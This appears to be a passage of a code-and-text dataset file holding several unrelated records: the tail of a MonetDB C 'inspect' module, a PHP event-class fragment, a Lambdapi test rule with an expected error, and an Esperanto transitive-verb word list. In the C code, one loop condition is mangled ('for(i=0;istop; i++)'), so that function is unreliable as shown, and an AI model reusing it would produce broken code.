*b = COLnew(0, TYPE_str, 256, TRANSIENT);\n\n\tif (b == 0)\n\t\tthrow(MAL, \"inspect.getAtomSuper\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\n\tfor (i = 0; i < GDKatomcnt; i++) {\n\t\tfor (k = ATOMstorage(i); k > TYPE_str; k = ATOMstorage(k))\n\t\t\t;\n\t\tif (BUNappend(b, ATOMname(k), false) != GDK_SUCCEED)\n\t\t\tgoto bailout;\n\t}\n\n\tif (pseudo(ret,b,\"view\",\"atom\",\"sup_name\"))\n\t\tgoto bailout;\n\n\treturn MAL_SUCCEED;\n  bailout:\n\tBBPreclaim(b);\n\tthrow(MAL, \"inspect.getAtomSuper\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n}\n\nstatic str\nINSPECTatom_sizes(bat *ret)\n{\n\tint i;\n\tint s;\n\tBAT *b = COLnew(0, TYPE_int, 256, TRANSIENT);\n\n\tif (b == 0)\n\t\tthrow(MAL, \"inspect.getAtomSizes\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n\n\tfor (i = 0; i < GDKatomcnt; i++) {\n\t\ts = ATOMsize(i);\n\t\tif (BUNappend(b, &s, false) != GDK_SUCCEED)\n\t\t\tgoto bailout;\n\t}\n\n\tif (pseudo(ret,b,\"view\",\"atom\",\"size\"))\n\t\tgoto bailout;\n\n\treturn MAL_SUCCEED;\n  bailout:\n\tBBPreclaim(b);\n\tthrow(MAL, \"inspect.getAtomSizes\", SQLSTATE(HY013) MAL_MALLOC_FAIL);\n}\n\n/* calculate to trimmed storage space */\nstatic lng\nINSPECTcalcSize(MalBlkPtr mb){\n\tlng size,args=0,i;\n\tInstrPtr p;\n\n\tfor(i=0;istop; i++){\n\t\tp= getInstrPtr(mb,i);\n\t\targs += (p->argc-1)* sizeof(*p->argv);\n\t}\n\tsize = (offsetof(InstrRecord, argv) +sizeof(InstrPtr)) * mb->stop;\n\tsize += sizeof(VarRecord) * mb->vtop;\n\tsize += args;\n\treturn size;\n}\n\nstatic str\nINSPECTgetSize(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr p){\n\tlng *ret = getArgReference_lng(stk,p,0);\n\n\n\t*ret= INSPECTcalcSize(mb);\n\t(void) cntxt;\n\t(void) mb;\n\treturn MAL_SUCCEED;\n}\n\nstatic str\nINSPECTgetFunctionSize(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr pci)\n{\n\tlng *ret = getArgReference_lng(stk,pci,0);\n\tstr *mod = getArgReference_str(stk,pci,1);\n\tstr *fcn = getArgReference_str(stk,pci,2);\n\tSymbol s;\n\t(void) mb;\n\n\ts = findSymbol(cntxt->usermodule, getName(*mod), putName(*fcn));\n\tif (s == 0)\n\t\tthrow(MAL, \"inspect.getSize\", RUNTIME_SIGNATURE_MISSING);\n\t*ret= INSPECTcalcSize(s->def);\n\treturn MAL_SUCCEED;\n}\n/*\n * Display routines\n */\n\n#if 0\nstatic str\nINSPECTshowFunction(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr p)\n{\n\t(void) p;\n\tprintFunction(cntxt->fdout, mb, stk, LIST_INPUT);\n\treturn MAL_SUCCEED;\n}\n\nstatic str\nINSPECTshowFunction3(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr p)\n{\n\tstr modnme = getArgName(mb, p, 1);\n\tstr fcnnme = getArgName(mb, p, 2);\n\tSymbol s = NULL;\n\n\ts = findSymbol(cntxt->usermodule,getName(modnme), putName(fcnnme));\n\n\tif (s == NULL){\n\t\tchar buf[BUFSIZ];\n\t\tsnprintf(buf,BUFSIZ,\"%s.%s\", modnme, fcnnme);\n\t\tthrow(MAL, \"inspect.showSource\",RUNTIME_SIGNATURE_MISSING \"%s\",buf);\n\t} else\n\t\tprintFunction(cntxt->fdout, s->def, stk, LIST_INPUT);\n\treturn MAL_SUCCEED;\n}\n#endif\n\nstatic str\nINSPECTequalType(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr pci)\n{\n\tbit *ret;\n\t(void) stk;\n\t(void) cntxt;\n\tret = getArgReference_bit(stk, pci, 0);\n\t*ret = getArgType(mb,pci,1)== getArgType(mb,pci,2);\n\treturn MAL_SUCCEED;\n}\n\nstatic str\nINSPECTtypeName(Client cntxt, MalBlkPtr mb, MalStkPtr stk, InstrPtr pci)\n{\n\tstr *hn, *tn =0;\n\n\thn = getArgReference_str(stk, pci, 0);\n\n\t(void) cntxt;\n\tif( pci->retc== 2){\n\t\ttn = getArgReference_str(stk, pci, 1);\n\t\t*hn = getTypeName(TYPE_oid);\n\t\t*tn = getTypeName(getBatType(getArgType(mb, pci, 2)));\n\t} else if (isaBatType(getArgType(mb,pci,1) ) ){\n\t\tbat *bid= getArgReference_bat(stk,pci,1);\n\t\tBAT *b;\n\t\tif ((b = BATdescriptor(*bid)) ) {\n\t\t\t*hn = getTypeName(newBatType(b->ttype));\n\t\t\tBBPunfix(b->batCacheid);\n\t\t} else\n\t\t\t*hn = getTypeName(getArgType(mb, pci, 1));\n\t} else\n\t\t*hn = getTypeName(getArgType(mb, pci, 1));\n\treturn MAL_SUCCEED;\n}\n\n#include \"mel.h\"\nmel_func inspect_init_funcs[] = {\n pattern(\"inspect\", \"getDefinition\", INSPECTgetDefinition, false, \"Returns a string representation of a specific function.\", args(1,3, batarg(\"\",str),arg(\"mod\",str),arg(\"fcn\",str))),\n pattern(\"inspect\", \"getSignature\", INSPECTgetSignature, false, \"Returns the function signature(s).\", args(1,3, batarg(\"\",str),arg(\"mod\",str),arg(\"fcn\",str))),\n pattern(\"inspect\", \"getComment\", INSPECTgetComment, false, \"Returns the function help information.\", args(1,3, batarg(\"\",str),arg(\"mod\",str),arg(\"fcn\",str))),\n pattern(\"inspect\", \"getSource\", INSPECTgetSource, false, \"Return the original input for a function.\", args(1,3, arg(\"\",str),arg(\"mod\",str),arg(\"fcn\",str))),\n pattern(\"inspect\", \"getKind\", INSPECTgetkind, false, \"Obtain the instruction kind.\", args(1,1, batarg(\"\",str))),\n pattern(\"inspect\", \"getModule\", INSPECTgetAllModules, false, \"Obtain the function name.\", args(1,1, batarg(\"\",str))),\n pattern(\"inspect\", \"getFunction\", INSPECTgetAllFunctions, false, \"Obtain the function name.\", args(1,1, batarg(\"\",str))),\n pattern(\"inspect\", \"getSignatures\", INSPECTgetAllSignatures, false, \"Obtain the function signatures.\", args(1,1, batarg(\"\",str))),\n pattern(\"inspect\", \"getSize\", INSPECTgetSize, false, \"Return the storage size for the current function (in bytes).\", args(1,1, arg(\"\",lng))),\n pattern(\"inspect\", \"getSize\", INSPECTgetFunctionSize, false, \"Return the storage size for a function (in bytes).\", args(1,3, arg(\"\",lng),arg(\"mod\",str),arg(\"fcn\",str))),\n pattern(\"inspect\", \"getType\", INSPECTtypeName, false, \"Return the concrete type of a variable (expression).\", args(1,2, arg(\"\",str),argany(\"v\",1))),\n pattern(\"inspect\", \"equalType\", INSPECTequalType, false, \"Return true if both operands are of the same type\", args(1,3, arg(\"\",bit),argany(\"l\",0),argany(\"r\",0))),\n command(\"inspect\", \"getAtomNames\", INSPECTatom_names, false, \"Collect a BAT with the atom names.\", args(1,1, batarg(\"\",str))),\n command(\"inspect\", \"getAtomSuper\", INSPECTatom_sup_names, false, \"Collect a BAT with the atom names.\", args(1,1, batarg(\"\",str))),\n command(\"inspect\", \"getAtomSizes\", INSPECTatom_sizes, false, \"Collect a BAT with the atom sizes.\", args(1,1, batarg(\"\",int))),\n command(\"inspect\", \"getEnvironment\", INSPECTgetEnvironment, false, \"Collect the environment variables.\", args(2,2, batarg(\"k\",str),batarg(\"v\",str))),\n command(\"inspect\", \"getEnvironment\", INSPECTgetEnvironmentKey, false, \"Get the value of an environemnt variable\", args(1,2, arg(\"\",str),arg(\"k\",str))),\n { .imp=NULL }\n};\n#include \"mal_import.h\"\n#ifdef _MSC_VER\n#undef read\n#pragma section(\".CRT$XCU\",read)\n#endif\nLIB_STARTUP_FUNC(init_inspect_mal)\n{ mal_module(\"inspect\", NULL, inspect_init_funcs); }\n"}
+{"text": "player = $player;\n\t\t$this->item = $item;\n\t}\n\n\t/**\n\t * @return Item\n\t */\n\tpublic function getItem(){\n\t\treturn clone $this->item;\n\t}\n\n}"}
+{"text": "symbol A:TYPE\nsymbol a:A\nsymbol f:(A→A)→A\nrule f (λx,$M) ↪ a\n// Error: Missing square brackets under binder.\n"}
+{"text": "# Verboj transitivaj\n#\n# Ne necesas listigi tie verbojn kun la prefiksoj mal-, ek-,\n# re-, mis-, fi- kaj la sufiksoj -ad, -aĉ, -et, -eg ĉar ili\n# neniam ŝanĝas transitivecon de la verbo.\n#\n# Ne necesas listigi verboj kun sufiksoj -ig ĉar ili\n# estas ĉiam transitivaj.\n#\n# Bonvolu sendi korektojn kaj mankantajn verbojn al:\n# Dominique Pellé \nabandoni\nabdiki\nabĵuri\nabnegacii\naboli\nabolicii\nabomeni\naboni\nabrogacii\nabrogi\nabsolvi\nabsorbi\nabstrakti\nacetili\nacidizi\nacidmordi\naĉeti\nadapti\nadiaŭdiri\nadiaŭi\nadicii\nadjudiki\nadministri\nadmiri\nadmoni\nadopti\nadori\nadresi\nadsorbi\nadstringi\nadulteri\naeri\naerumi\nafekcii\nafekti\nafinacii\nafiŝi\naflikti\nafranki\nagaci\nagiti\naglomeri\naglutini\nagnoski\nagordi\nagrafi\nagregi\nagresi\najli\naĵuri\nakapari\nakceli\nakcenti\nakcepti\nakcizi\nakiri\naklami\naklimatizi\nakomodi\nakompani\nakrediti\naksumi\nakumuli\nakuŝi\nakuzi\nakvi\nakvumi\nalagordi\nalarmi\nalbati\naldirekti\naldiri\naldoni\nalelekti\nalesti\nalezi\nalfari\nalfaŭki\nalfiksi\nalforĝi\nalfronti\nalglui\nalianci\naliaranĝi\nalieni\naliri\nalistrukturi\nalivesti\naljuĝi\naljungi\nalkalkuli\nalkateni\nalkisi\nalklaki\nalklini\nalkoholi\nalkomandi\nalkonduki\nalkonstrui\nalkrementi\nalkroĉi\nalkudri\nallasi\nalligi\nallogi\nalluti\nalmeti\nalmezuri\nalmiksi\nalmiliti\nalmontri\nalmovi\nalmozpeti\nalnaĝi\nalnajli\nalnomi\naloji\nalparoli\nalpeli\nalpiki\nalpingli\nalporti\nalpremi\nalpreni\nalprunti\nalsagi\nalsendi\nalskribi\nalŝovi\nalŝraŭbi\nalŝuti\nalteni\naltiri\naltranĉi\naltrudi\naludi\naluni\nalveturi\nalvoki\namalgami\namasbuĉi\namasmurdi\nambicii\nameli\namendi\nami\namindumi\namnestii\namori\namortizi\nampleksi\namplifi\namplifiki\namputi\namuzi\nanalizi\nanasiri\nanastomozi\nanatemi\naneksi\nanemii\nanestezi\nangulmezuri\nanimi\nankri\nanonci\nanstataŭi\nantaŭanonci\nantaŭaranĝi\nantaŭdati\nantaŭdifini\nantaŭdiri\nantaŭenpuŝi\nantaŭfari\nantaŭfiguri\nantaŭfiksi\nantaŭflari\nantaŭgardi\nantaŭhejti\nantaŭi\nantaŭiri\nantaŭjuĝi\nantaŭkalkuli\nantaŭkanti\nantaŭkonsenti\nantaŭlegi\nantaŭludi\nantaŭmendi\nantaŭmeti\nantaŭpagi\nantaŭparoli\nantaŭpensi\nantaŭplenumi\nantaŭpripensi\nantaŭrakonti\nantaŭripeti\nantaŭsavi\nantaŭscii\nantaŭsenti\nantaŭstari\nantaŭsupozi\nantaŭteni\nantaŭtimi\nantaŭveni\nantaŭvidi\nantaŭzorgi\nanticipi\nantipatii\nantisepsi\napanaĝi\napelacii\napercepti\naplaŭdi\napliki\napogi\napologii\napostrofi\napoteozi\napozicii\napreci\napreti\napreturi\naprezi\naprobi\napudesti\napudi\naranĝi\narbarizi\narbitracii\naresti\nargumenti\narĝenti\narkpafi\narmaturi\narmi\narogi\naroki\narsonvalizi\nartifiki\nartiki\nartikulacii\nasekuri\nasembli\nasepsi\naserti\nasfalti\nasfiksii\nasigni\nasimili\nasisti\nasocii\nasonanci\naspergi\naspiri\nataki\natenci\natendi\natenti\natenui\natesti\natingi\natribui\natrofii\naŭdi\naŭguri\naŭkcii\naŭreoli\naŭskulti\naŭskultumi\naŭtori\navali\navanci\navari\naverti\navidi\navizi\nbabili\nbaki\nbalai\nbalanci\nbalasti\nbalbuti\nbaloti\nbalzami\nbandaĝi\nbani\nbapti\nbari\nbarikadi\nbastoni\nbatdifekti\nbatetendi\nbati\nbatmiksi\nbazi\nbedaŭri\nbeki\nbeknutri\nbekpiki\nbendi\nbeni\nberni\nbeveli\nbezoni\nbiasi\nbilanci\nbindi\nbiri\nbisekci\nbisi\nbitumi\nblasfemi\nblazoni\nblendi\nbloki\nbloveksciti\nblovestingi\nblovi\nbluti\nbobeni\nbojkoti\nbolkuiri\nbolti\nbombardi\nbombi\nbonteni\nbonuzi\nbonvoli\nborderi\nbordi\nbori\nbosi\nbrajli\nbrakumi\nbrasi\nbrazi\nbreĉi\nbredi\nbremsi\nbrezi\nbridi\nbrodi\nbrodteksi\nbrogi\nbrokanti\nbroki\nbromi\nbronzi\nbrosi\nbroŝuri\nbrubati\nbruldifekti\nbrulmarki\nbrulvundi\nbruski\nbuĉi\nbugri\nbukani\nbuki\nbukli\nbuteri\nbuti\nbutoni\nbutonumi\ncedi\ncelebri\nceli\ncelumi\ncementi\ncensi\ncentralizi\ncentri\ncentrifugi\ncenzuri\ncerboŝtopi\ncerbumi\nciferi\nciklostili\nciri\ncirkumcidi\nciti\nciumi\ncivilizi\ncizeli\nĉagreni\nĉambrumi\nĉantaĝi\nĉanti\nĉapeli\nĉarmi\nĉarpenti\nĉarti\nĉasi\nĉaskuri\nĉassekvi\nĉeesti\nĉei\nĉementi\nĉeni\nĉerpi\nĉifi\nĉifri\nĉikani\nĉirkaŭbari\nĉirkaŭblovi\nĉirkaŭbraki\nĉirkaŭbrui\nĉirkaŭĉizi\nĉirkaŭdefendi\nĉirkaŭdirekti\nĉirkaŭfendi\nĉirkaŭfermi\nĉirkaŭflari\nĉirkaŭflati\nĉirkaŭflirti\nĉirkaŭflugi\nĉirkaŭflui\nĉirkaŭfosi\nĉirkaŭglui\nĉirkaŭhaki\nĉirkaŭi\nĉirkaŭiri\nĉirkaŭkapti\nĉirkaŭkovri\nĉirkaŭkradi\nĉirkaŭkreski\nĉirkaŭkrii\nĉirkaŭkudri\nĉirkaŭkuri\nĉirkaŭlavi\nĉirkaŭleki\nĉirkaŭlimi\nĉirkaŭlumi\nĉirkaŭmanĝi\nĉirkaŭmeti\nĉirkaŭmordi\nĉirkaŭnaĝi\nĉirkaŭpalpi\nĉirkaŭpeli\nĉirkaŭplekti\nĉirkaŭporti\nĉirkaŭpremi\nĉirkaŭpreni\nĉirkaŭrajdi\nĉirkaŭrigardi\nĉirkaŭronĝi\nĉirkaŭsieĝi\nĉirkaŭskrapi\nĉirkaŭskribi\nĉirkaŭstreĉi\nĉirkaŭstreki\nĉirkaŭsvarmi\nĉirkaŭŝmiri\nĉirkaŭŝpini\nĉirkaŭŝuti\nĉirkaŭŝvebi\nĉirkaŭtondi\nĉirkaŭtranĉi\nĉirkaŭturni\nĉirkaŭumi\nĉirkaŭverŝi\nĉirkaŭveturi\nĉirkaŭvolvi\nĉirkaŭzoni\nĉizi\ndabi\ndaktilografi\ndamaĝi\ndamaskeni\ndamaski\ndamni\ndampi\ndanci\ndanki\ndati\ndeadmoni\ndebari\ndebati\ndebeti\ndebiti\ndecidi\ndeĉerpi\ndeĉifri\ndediĉi\ndedukti\ndefendi\ndefensi\ndefii\ndeflori\ndeformi\ndefraŭdi\ndefroti\ndegni\ndegradi\ndehaki\ndeĵeti\ndekalkuli\ndekanti\ndekatizi\ndeklami\ndeklari\ndeklinacii\ndeklini\ndekokti\ndekolti\ndekonduki\ndekonsili\ndekoracii\ndekori\ndekradi\ndekrementi\ndekreti\ndekroĉi\ndekumi\ndelasi\ndelegi\ndelekti\ndelevi\ndelogi\ndeloki\ndemandi\ndementi\ndemeti\ndemonstri\ndemoralizi\ndemordi\ndenti\ndentizi\ndenunci\ndepeŝi\ndeploji\ndeponi\ndeporti\ndepostuli\ndepozicii\ndepreci\ndepremi\ndepreni\ndeprimi\ndeprunti\ndepuŝi\ndeputi\nderivi\nderompi\nderuli\ndesegni\ndesekci\ndesfili\ndesinfekti\ndeskrapi\ndeskui\ndesolvi\ndestini\ndeŝarĝi\ndeŝiri\ndeŝovi\ndetali\ndetekti\ndetektivi\ndeteni\ndetergi\ndetermini\ndetiri\ndetondi\ndetranĉi\ndetrui\ndeturni\ndevaluti\ndevanci\ndevi\ndeviŝi\ndezajni\ndeziri\ndiagnozi\ndiakriti\ndializi\ndiamanti\ndierezi\ndifekti\ndiferenciali\ndiferencii\ndifini\ndifrakti\ndifuzi\ndigesti\ndigi\ndikti\ndilati\ndilui\ndiminui\ndinamiti\ndiplomi\ndirekti\ndiri\ndisbari\ndisbati\ndisblovi\ndisbuki\ndisbutonumi\ndisciplini\ndisdegni\ndisdifekti\ndisdiri\ndisdividi\ndisdoni\ndisetendi\ndisfaldi\ndisfandi\ndisfendi\ndisfibri\ndisfosi\ndisfrakasi\ndisfroti\ndishaki\ndisipi\ndisĵeti\ndisklini\ndiskonti\ndiskriminacii\ndiskruci\ndiskuti\ndisligi\ndislimi\ndisloki\ndismalfermi\ndismeti\ndismiksi\ndisocii\ndisparceli\ndispeli\ndisperdi\ndispersi\ndispisti\ndisplekti\ndisponi\ndisporti\ndispremi\ndispuŝi\ndisrabi\ndisradii\ndisrompi\ndissekci\ndissemi\ndissendi\ndissigeli\ndisskui\ndissolvi\ndisstreĉi\ndisŝiri\ndisŝovi\ndisŝuti\ndistili\ndistingi\ndistiri\ndistordi\ndistranĉi\ndistri\ndistribui\ndistrumpeti\ndisvendi\ndisvenki\ndisverŝi\ndisvolvi\ndiveni\ndividi\ndizajni\ndokumenti\ndolori\ndomaĝi\ndomini\ndonaci\ndoni\ndopi\ndorloti\ndoti\ndozi\ndragi\ndrajvi\ndrapiri\ndraŝi\ndrati\ndreni\ndresi\ndrinki\ndrogi\ndubeli\ndubi\ndubli\ndungi\nduondiri\nduonfermi\nduonkompreni\nduonkudri\nduonombrumi\nduontuŝi\ndusekci\nduŝi\nebenbati\nebentordi\nedifi\neditori\neduki\negali\negalpezi\neĥi\nekipi\neklipsi\nekrani\nekranumi\neksciti\nekscizi\nekskludi\nekskluzivi\nekskomuniki\nekskoriacii\nekskorii\nekskrecii\nekskrementi\nekskui\nekskuzi\nekspedi\nekspertizi\neksplici\nekspliki\nekspluati\neksponi\neksporti\nekspozi\nekspozicii\nekstensi\nekstermi\neksterpoli\neksterskribi\nekstradicii\nekstrakti\nekstrapoli\nekvivalenti\nekzalti\nekzameni\nekzekucii\nekzekuti\nekzempli\nekzerci\nekzili\nekzorci\nelaĉeti\nelakompani\nelataki\nelaŭdi\nelaŭskulti\nelbabili\nelbalai\nelbati\nelblovi\nelĉerpi\neldemandi\neldiri\neldoni\neldorloti\nelekti\nelektri\nelektrizi\nelektroekzekuti\nelektrokuti\nelektrumi\nelesplori\neletendi\nelfandi\nelfari\nelfendi\nelfini\nelflari\nelflati\nelfleksi\nelforĝi\nelfosi\nelfroti\nelĝemi\nelhaki\nelimini\nelizii\neljungi\nelĵeti\nelkalkuli\nelkapti\nelkliki\nelklini\nelkonduki\nelkovi\nelkraĉi\nelkrani\nelkrii\nellabori\nellasi\nellerni\nellogi\nelmeti\nelmontri\nelmordi\nelpaki\nelparoli\nelpeli\nelpensi\nelperfidi\nelpeti\nelpiki\nelplugi\nelpoenti\nelporti\nelpremi\nelpreni\nelprovi\nelpumpi\nelpuŝi\nelradii\nelsarki\nelsendi\nelserĉi\nelskui\nelsonori\nelspezi\nelspiri\nelstreki\nelsuĉi\nelsvingi\nelŝalti\nelŝarĝi\nelŝiri\nelŝovi\nelŝuti\nelŝviti\nelteni\neltiri\neltondi\neltordi\neltranĉi\neltreni\neltrinki\neltrovi\neltrudi\nelturmenti\nelui\neluvii\neluzi\nelvendi\nelverŝi\nelviŝi\nelvoki\nelvolvi\nelvomi\nemajli\nemancipi\nembarasi\nembargi\nemfazi\nemisii\nemocii\nemulsii\nenbati\nenblovi\nendosi\nenfendi\nenfermi\nenfili\nenflari\nenfosi\nenfroti\nengaĝi\nengluti\nenhavi\neniri\nenjungi\nenkalkuli\nenkapti\nenkaŭstiki\nenketi\nenkolekti\nenkonduki\nenkraki\nenkrusti\nenlasi\nenlogi\nenmeti\nenmiksi\nenpaki\nenpenetri\nenpiki\nenplanti\nenplekti\nenporti\nenpremi\nenpreni\nenpresi\nenpuŝi\nenregistri\nenrigardi\nenrompi\nenskribi\nensorbi\nenspaci\nenspezi\nenspiri\nensuĉi\nensvarmi\nenŝlosi\nenŝovi\nenteksi\nenteni\nentiri\nentranĉi\nentrepreni\nenuklei\nenverŝi\nenvii\nenvolvi\nenvulti\nerarkompreni\nerodi\nerozii\nerpi\nerudi\nescepti\neskaladi\neskapi\neskludi\neskorti\nesperi\nesplori\nesplorrigardi\nespozi\nesprimi\nestabli\nestimi\nestingi\nestkonfesi\nestri\netendi\netiketi\netuvi\neŭtanazii\nevakui\nevangelizi\nevikcii\neviti\nfabriki\nfaceti\nfadenfliki\nfagociti\nfajfi\nfajli\nfaksi\nfakturi\nfalĉi\nfaldi\nfaldumi\nfalsi\nfalti\nfaluni\nfandfermi\nfandi\nfandverŝi\nfanfaroni\nfantazii\nfaradizi\nfarbi\nfarbofliki\nfarĉi\nfari\nfarmi\nfaruni\nfascini\nfasĉini\nfasoni\nfavori\nfavorkori\nfederacii\nfederi\nfelti\nfeltizi\nfeltogarni\nfendi\nferdeki\nferi\nferii\nferli\nfermi\nferumi\nfesti\nfestoni\nfeŭdi\nfidi\nfiguri\nfiki\nfiksi\nfiligrani\nfilmi\nfiltri\nfinanci\nfinaranĝi\nfingri\nfingrumi\nfini\nfinlegi\nfinlerni\nfiŝĉasi\nfiŝhoki\nfiŝi\nfiŝkapti\nflagi\nflanki\nflankpasi\nflari\nflarsenti\nflatakiri\nflati\nflegi\nfleksi\nfleksii\nfliki\nflikumi\nflorumi\nfluglegi\nflugtuŝi\nflustri\nfluti\nfoldi\nfolii\nfoliumi\nfomenti\nfondi\nforbalai\nforbati\nforbeni\nforblovi\nforcedi\nforci\nfordandi\nfordanki\nfordecidi\nfordiboĉi\nfordifekti\nfordirekti\nfordoni\nfordormi\nfordrinki\nforfandi\nforgesi\nforgluti\nforgumi\nforĝemi\nforĝi\nforhaki\nforĵeti\nforĵuri\nforkanti\nforkaperi\nforkapti\nforki\nforkisi\nforklini\nforkolekti\nforkomandi\nforkomerci\nforkonduki\nforkonfesi\nforkonsenti\nforkonsumi\nforlasi\nforlavi\nforleki\nforlevi\nforlogi\nforludi\nformanĝi\nformeti\nformi\nformodifekti\nformordi\nformovi\nformuli\nfornei\nfornomi\nforoferi\nforpafi\nforpeli\nforpermesi\nforpeti\nforporti\nforpremi\nforpreni\nforpuŝi\nforrasti\nforregali\nforrevi\nforrifuzi\nforruli\nforsavi\nforsendi\nforsilenti\nforskrapi\nforskui\nforspiti\nforspongi\nforstreki\nforstumi\nforŝiri\nforŝoveli\nforŝovi\nforŝuti\nforteni\nfortiri\nfortondi\nfortordi\nfortranĉi\nfortreni\nforturni\nforuzi\nforvendi\nforviŝi\nfosforili\nfosi\nfoti\nfotografi\nfotogravuri\nfotokopii\nfragmenti\nfrajti\nfrakasi\nfrakcii\nfranĉi\nfrandi\nfrandzi\nfranĝi\nfrapi\nfraŭdi\nfrekventi\nfreti\nfrezi\nfrikasi\nfriponi\nfriti\nfrizi\nfromaĝi\nfroti\nfrotlavi\nfruktuzi\nfrustri\nfueli\nfuĝi\nfuli\nfulmobati\nfulmofrapi\nfumaĵi\nfumi\nfumumi\nfundamenti\nfunebri\nfuneli\nfuŝformi\nfuŝi\nfuŝkompreni\nfuŝmiksi\nfuŝpalpi\nfuŝparoli\nfuŝuzi\ngajni\ngalbi\ngaloni\ngalvanizi\ngangreni\nganti\ngapi\ngaraĝi\ngarantidoni\ngarantii\ngardi\ngargari\ngarni\ngasumi\ngeneri\ngeri\ngibi\ngiloŝi\ngilotini\ngipsi\ngirlandi\nglaciumi\ngladi\nglatumi\nglavbati\nglavobati\nglavopiki\nglavotranĉi\nglazuri\nglicerini\nglori\nglosi\ngluaĵi\nglui\ngluizi\ngluti\ngofri\ngrapli\ngrasi\ngrasumi\ngrateni\ngrati\ngratifiki\ngratuli\ngravuri\ngrefti\ngrifeli\ngruzi\nguaŝi\ngudri\nguĝi\ngumi\ngurdi\ngustumi\nguverni\ngvati\ngvidi\nĝardeni\nĝeni\nĝiri\nĝislimi\nĝisvivi\nĝui\nhaĉi\nhaki\nhalsi\nhalucini\nhamstri\nhandikapi\nhanti\nhardi\nhardluti\nharmonizi\nharpi\nharpuni\nhaspeli\nhati\nhaŭli\nhavi\nhazardi\nhejti\nhektografi\nhelpi\nheredi\nheroldi\nhidrogeni\nhidrolizi\nhipnotizi\nhipokriti\nhipoteki\nhipotezi\nhisi\nhokfiŝi\nhoki\nhoktriki\nhonorarii\nhonori\nhonti\nhufbati\nhufoferi\nhurai\nignori\nilumini\nilustri\niluzii\nimagi\nimbriki\nimiti\nimperii\nimplici\nimpliki\nimponi\nimporti\nimposti\nimpozi\nimpregni\nimpresi\nimprovizi\nimpulsi\nimputi\ninaŭguri\nincendii\nincensi\ninciti\nincizi\nindeksi\nindenti\nindi\nindici\nindiki\ninduki\nindukti\nindulgi\ninfekti\ninferenci\ninfesti\ninfiltri\ninflui\ninfluki\ninformi\ninfuzi\ningesti\ningi\ninhali\ninhibi\ninhibicii\ninici\niniciati\ninjekti\ninki\ninkludi\ninkluzivi\ninkrusti\ninokuli\ninserti\ninsidi\ninsili\ninsinui\ninspekti\ninspiri\ninstali\ninstigi\ninstrui\ninstrukcii\ninstrumenti\ninsulti\nintegrali\nintegri\nintenci\ninteraldoni\ninteresi\ninterfrapi\ninterhelpi\ninterkomuniki\ninterkonfuzi\ninterkonsenti\ninterligi\nintermeti\nintermiksi\ninterpelaci\ninterpelacii\ninterpenetri\ninterplekti\ninterpoli\ninterpremi\ninterpreti\ninterpunkcii\ninterrompi\nintersekci\ninterŝanĝi\nintervjui\nintervolvi\nintuicii\ninundi\ninvadi\ninventari\ninventi\ninversii\ninverti\ninvesti\ninviti\ninvitkroĉi\ninvoki\niperiti\nirigaci\nirigacii\niriti\nirizi\niteracii\nitizi\nizoli\njaspi\njeĵuri\njesi\njodi\njonizi\njugi\njuĝi\njuki\njungi\njunti\nĵami\nĵetfemi\nĵetfermi\nĵeti\nĵetkovri\nĵosi\nĵuri\nĵurpeti\nkadri\nkaheli\nkaĵoli\nkalandri\nkalcini\nkalfatri\nkalibri\nkaligrafi\nkalki\nkalkuli\nkalkumi\nkalumnii\nkamerai\nkamioni\nkamufli\nkanalizi\nkandi\nkandidati\nkandizi\nkaneli\nkanoni\nkanonizi\nkanteti\nkanti\nkapabli\nkaperi\nkapsaluti\nkapti\nkapuĉi\nkarakterizi\nkarboni\nkarburi\nkardi\nkarei\nkareni\nkaresi\nkargi\nkarikaturi\nkarmini\nkartoni\nkasacii\nkastri\nkaŝi\nkaŝobservi\nkaŝrigardi\nkatalizi\nkatalogi\nkatapulti\nkatastri\nkateĥizi\nkateni\nkateteri\nkatizi\nkaŭcii\nkaŭstikizi\nkaŭteri\nkaŭterizi\nkaŭzi\nkejli\nkidnapi\nkinematografi\nkirasi\nkirli\nkisi\nklabi\nklafti\nklakfermi\nklarioni\nklasi\nklasifiki\nklavi\nklimatizi\nklindirekti\nklini\nklinkovri\nklinsaluti\nkliŝi\nklivi\nkloni\nkloroformi\nkluĉi\nkluzi\nknedi\nknokaŭti\nkoaguli\nkodaki\nkodi\nkogni\nkohobi\nkojni\nkojnumi\nkoketi\nkokri\nkolekti\nkoleri\nkolimati\nkolombumi\nkolonii\nkolori\nkolporti\nkomandi\nkomanditi\nkombi\nkombini\nkomedii\nkomenci\nkomentarii\nkomenti\nkomisii\nkomocii\nkompari\nkompati\nkompensi\nkompili\nkomplezi\nkompliki\nkomplimenti\nkomponi\nkomposti\nkompoŝti\nkompreneti\nkompreni\nkompromiti\nkompulsi\nkomputi\nkomunii\nkomuniki\nkomuti\nkoncedi\nkoncentri\nkoncepti\nkoncerni\nkoncesii\nkoncipi\nkondamni\nkondensi\nkondiĉi\nkondimenti\nkondolenci\nkonduki\nkondukti\nkonekti\nkonfederacii\nkonfederi\nkonfekcii\nkonfesi\nkonfespreni\nkonfesricevi\nkonfidenci\nkonfidi\nkonfirmacii\nkonfirmi\nkonfiski\nkonfiti\nkonfronti\nkonfuzi\nkongeli\nkongesti\nkonglomeri\nkoni\nkonjekti\nkonjugacii\nkonjugi\nkonjunkcii\nkonkeri\nkonkiri\nkonkludi\nkonkuri\nkonscii\nkonsekri\nkonsenti\nkonservi\nkonsideri\nkonsigni\nkonsili\nkonsoli\nkonstati\nkonsterni\nkonstipi\nkonstitui\nkonstrikti\nkonstrui\nkonstrukcii\nkonsulti\nkonsumi\nkontaĝi\nkontakti\nkontempli\nkontesti\nkontingenti\nkontrabandi\nkontrahi\nkontrakti\nkontrasti\nkontraŭasekuri\nkontraŭataki\nkontraŭbatali\nkontraŭdiri\nkontraŭi\nkontraŭmeti\nkontraŭparoli\nkontraŭpezi\nkontraŭstari\nkontraŭstreĉi\nkontribui\nkontroli\nkontrolmarki\nkonturi\nkonturtranĉi\nkontuzi\nkonvekti\nkonversi\nkonverti\nkonvikti\nkonvinki\nkonvoji\nkoopti\nkopii\nkorekti\nkorfavori\nkorki\nkorni\nkornobati\nkornopiki\nkorodi\nkorpremi\nkorŝiri\nkortuŝi\nkorupti\nkosti\nkos